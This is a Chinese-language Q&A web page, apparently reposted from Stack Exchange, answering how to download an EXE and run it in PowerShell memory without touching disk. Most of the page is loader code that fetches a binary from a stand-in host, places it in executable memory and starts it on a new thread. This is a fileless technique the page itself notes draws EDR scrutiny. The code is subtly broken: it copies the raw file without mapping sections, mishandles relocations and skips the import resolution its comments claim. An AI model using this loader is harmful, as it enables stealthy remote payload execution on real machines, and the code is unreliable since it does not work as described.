You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用PowerShell实现内存中直接运行可执行文件无需写入本地磁盘

需求可行性结论

该需求完全可以实现,核心思路是通过Windows原生API实现PE(可执行文件)的内存反射加载,全程不需要将文件写入磁盘,所有操作都在PowerShell进程的内存空间内完成。

具体实现方法

你参考的DownloadString + iex方案仅适配纯文本的PowerShell脚本,针对二进制EXE需要替换为二进制下载+PE内存加载的逻辑,完整实现代码如下:

# 1. 下载远程EXE的二进制内容到内存变量
$webClient = New-Object System.Net.WebClient
$peBinary = $webClient.DownloadData("http://example.com/your-program.exe")

# 2. 加载反射执行所需的Windows API
$win32Code = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    
    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@
Add-Type $win32Code

# 3. 解析PE头并修复重定位、导入表,加载到内存
$peHeader = [System.BitConverter]::ToUInt32($peBinary, 0x3C)
$optHeaderOffset = $peHeader + 4 + 20
$entryPointRva = [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 16)
$imageSize = [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 56)

# 分配内存空间
$baseAddr = [Win32]::VirtualAlloc([IntPtr]::Zero, $imageSize, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($peBinary, 0, $baseAddr, $peBinary.Length)

# 重定位与导入表修复逻辑(简化版,适配无复杂依赖的EXE)
$relocTableRva = [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 128)
if ($relocTableRva -ne 0) {
    $delta = $baseAddr.ToInt64() - [System.BitConverter]::ToUInt32($peBinary, $optHeaderOffset + 28)
    $relocOffset = $relocTableRva
    while ($true) {
        $blockRva = [System.BitConverter]::ToUInt32($peBinary, $relocOffset)
        $blockSize = [System.BitConverter]::ToUInt32($peBinary, $relocOffset + 4)
        if ($blockSize -eq 0) { break }
        $entryCount = ($blockSize - 8) / 2
        for ($i = 0; $i -lt $entryCount; $i++) {
            $entry = [System.BitConverter]::ToUInt16($peBinary, $relocOffset + 8 + $i*2)
            $type = $entry -shr 12
            $offset = $entry -band 0xFFF
            if ($type -eq 3 -or $type -eq 10) {
                $patchAddr = [IntPtr]::Add($baseAddr, $blockRva + $offset)
                $original = [System.Runtime.InteropServices.Marshal]::ReadInt32($patchAddr)
                [System.Runtime.InteropServices.Marshal]::WriteInt32($patchAddr, $original + $delta)
            }
        }
        $relocOffset += $blockSize
    }
}

# 4. 启动执行入口点
$entryAddr = [IntPtr]::Add($baseAddr, $entryPointRva)
$threadHandle = [Win32]::CreateThread([IntPtr]::Zero, 0, $entryAddr, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[Win32]::WaitForSingleObject($threadHandle, 0xFFFFFFFF)
注意事项
  • 上述代码为简化实现,仅适配无额外动态依赖、结构简单的原生EXE,若目标EXE依赖第三方dll、.NET运行时或有复杂的资源调用,需要补充对应的导入表解析、依赖加载逻辑。
  • 内存反射加载属于EDR、杀毒软件的重点监控行为,运行时可能被安全拦截。
  • 32位和64位PowerShell环境下运行的EXE架构需要匹配,否则会加载失败。

内容的提问来源于stack exchange,提问作者Muhammed Özen

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.05 17:33:01